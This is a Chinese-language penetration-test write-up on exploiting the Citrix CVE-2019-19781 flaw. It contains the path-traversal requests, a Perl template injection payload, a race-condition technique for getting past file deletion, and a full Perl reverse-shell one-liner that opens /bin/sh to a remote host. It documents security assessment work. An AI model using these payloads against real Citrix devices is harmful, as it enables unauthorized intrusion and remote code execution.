2020-03-27 23:45:15 暗網視界

可領全套安全課程、配套攻防靶場

去年底，Citrix高危漏洞CVE-2019-19781被披露，158多個國家的8萬多家公司網絡系統受其影響

面臨嚴重安全風險，漏洞包含目錄遍歷和遠程代碼執行，攻擊者若成功利用該漏洞，可在未授權情況下訪問受害者公司內部網絡，還可實現任意代碼執行。

而恰巧最近，我在一次安全評估中就遇到了該漏洞，分享於此，希望能對大家有用。

CVE-2019-19781也被稱為“Shitrix”，概括來看，它的漏洞利用機制用到了Citrix網關應用的模板處理過程，由於在創建模板的過程中，會調用到/vpn/../vpns/portal/scripts/newbm.pl下的腳本服務

為此，我們可以構造一些Perl 語言的模板命令形成Payload，並把它插入到一個XML文件中成為.xml。

由於該XML中包含了我們的Payload，當對/vpn/../vpns/portal/.xml發起請求時，就會觸發命令執行。

現在網絡上有很多個公開的漏洞利用exploit，簡單到只需給定目標IP點擊一下回車鍵就能得到反彈shell實現攻擊。

但是，這些公開版的exploit貌似在我遇到的實際測試環境中都不怎麼好用，所以接下來，我們就一起來探討探討。

漏洞測試

首先，我對目標設備發起了一個針對目錄/vpn/../vpns/cfg/smb.conf的GET請求，可以成功響應，這說明目標設備是存在目錄遍歷漏洞的。

好吧，接下來我們來測試RCE，於是我就直接把該漏洞公開版本的bash命令行exploit拿來利用，但是，結果提示不成功：

之後，我決定用Burp來觀察一下具體的網絡請求。

首先，我們針對/vpn/../vpns/portal/scripts/newbm.pl發起POST請求，生成一個包含bookmark內容的XML文件。

因為在調用newbm.pl服務和NSC_USER保存XML的時候都會用到目錄遍歷，之後，由於服務端成功響應“Bookmark Added”成功

所以，這一步的目錄遍歷加Bookmark寫入到test2.xml是成功的。

這裡，我想到了兩種分析方法：

一是測試/vpn/目錄的寫權限

二是測試目標設備是否具備黑白名單。

對於第一種測試，我的同事@edhx0建議可以對rmbm.pl發起請求，對rmbm.pl的請求作用是刪除XML文件中Bookmark內容的，並不刪除XML文件本身。

發起對rmbm.pl請求後，我們再來看看test2.xml中的Bookmark內容：

可以看到，其中的Bookmark內容已經被rmbm.pl刪除了。

這樣看來，在newbm.pl作用下，我們具備了寫權限。

另外，當我在Bookmark參數title中寫入了攻擊Payload後，XML無法生成，但把title參數留空後，XML文件可以生成，這樣看來目標設備中可能存在一個黑名單。

現在，我們能調用newbm.pl服務並把其中的title參數置空，這樣就能成功實現XML文件的寫入生成，而且RCE的漏洞利用也正是訪問了其中的XML文件從而實現了代碼執行。

bash版本的exploit用到的Payload命令如下：

<code>[%25+template.new({'BLOCK'%3d'exec(\\'$2 | tee /netscaler/portal/templates/$filenameid.xml\\')%3b'})+%25]/<code>

利用上述Payload在參數title處的構造，剛開始會出現“The requested page was not found on this server”的錯誤響應，但經過反覆的特殊字符刪減測試，才會返回有效的XML文件。

最終，我發現字符“BLOCK”是導致Payload無法成功執行的唯一原因，因此，我嘗試對該字符進行多種方式的編碼，並嘗試用Perl Template Toolkit對它進行執行

但請求最終成型的XML文件後，得到的卻總是一個Perl代碼運行的錯誤提示，如下解碼後的信息是：perl error – EVAL_PERL not set”。

有點奇怪，XML可寫，且具備Perl運行環境，那是不是XML文件或其中的某些字符又被刪除了呢？

但如果是這樣，我能否利用條件競爭方式（Race Condition），即在XML被過濾之前實現對其的訪問。

比如，我可以同時對XML文件發起50個併發請求，與此同時也可在其中發起Bookmark的創建請求，希望這50個請求中能有一個請求能成功命中XML文件，最終就能觸發其中的Payload執行了。

比如，在下圖的Payload中，我在title參數中寫入了ns.conf的配置文件讀取，並把最終讀取內容輸出到了test2.xml文件中，方便最終的運行顯示。

接下來，我就用Burp Intruder來實現50個請求併發，結果超出我的預想，某些請求竟然能成功實現響應，也就是我們的條件競爭方式（Race Condition）是可行的！

現在，最後需要考慮的就是反彈shell了。由於測試的目標Citrix設備應用中未安裝有python或netcat，需要涉及到>、&或雙引號等特殊字符，那麼一些典型的反彈shell樣式Payload也就無從談起了。

參照這裡的Perl反彈shell構造方式，我採用了以下構造方法：

<code>perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'/<code>

之後，我把上述Payload轉換成了包含chr()方法的eval形式編碼，並進行了一些編碼替換，如下：

最終，經過編碼轉化的Payload可成功插入到Perl Template中，看著有些冗長奇怪：

好在，使用之前的條件競爭方式（Race Condition）後，最後我得到了有效的反彈shell，如下：

後續

兩天之後，我的同事0xedh告訴我火眼FireEye發佈了一篇文章披露了惡意軟件NOTROBIN在利用CVE-2019-19781漏洞進行入侵感染後，會刪除其他攻擊者上傳的包含“BLOCK”字符的XML文件，形成對目標Citrix設備的獨有後門控制。

哇，原來是這樣啊！怪不得我之前遇到的就是這種情況，原來是Citrix測試設備已經被攻擊者用惡意軟件NOTROBIN控制了。以下即為Citrix測試設備中NOTROBIN的後門進程：

漏洞修復

對於 Citrix 用戶來說，可以參照 Citrix 官方發佈的緩解措施進行修復。

對於紅隊測試者來說，若利用該漏洞對目標Citrix應用進行授權測試時

如果請求構造XML文件時遇到“The requested page was not found on this server”的情況，那麼可以考慮本文的“目錄遍歷+條件競爭+文件寫入+命令執行“方式（Path Traversal + Race Condition + File Write + Command Execution”）去測試獲得反彈shell

當然，也需要考慮目標Citrix應用是否已經被其他攻擊者用NOTROBIN惡意軟件感染控制的可能。

參考來源：crummie5，clouds 編譯整理，轉載自 FreeBuf.COM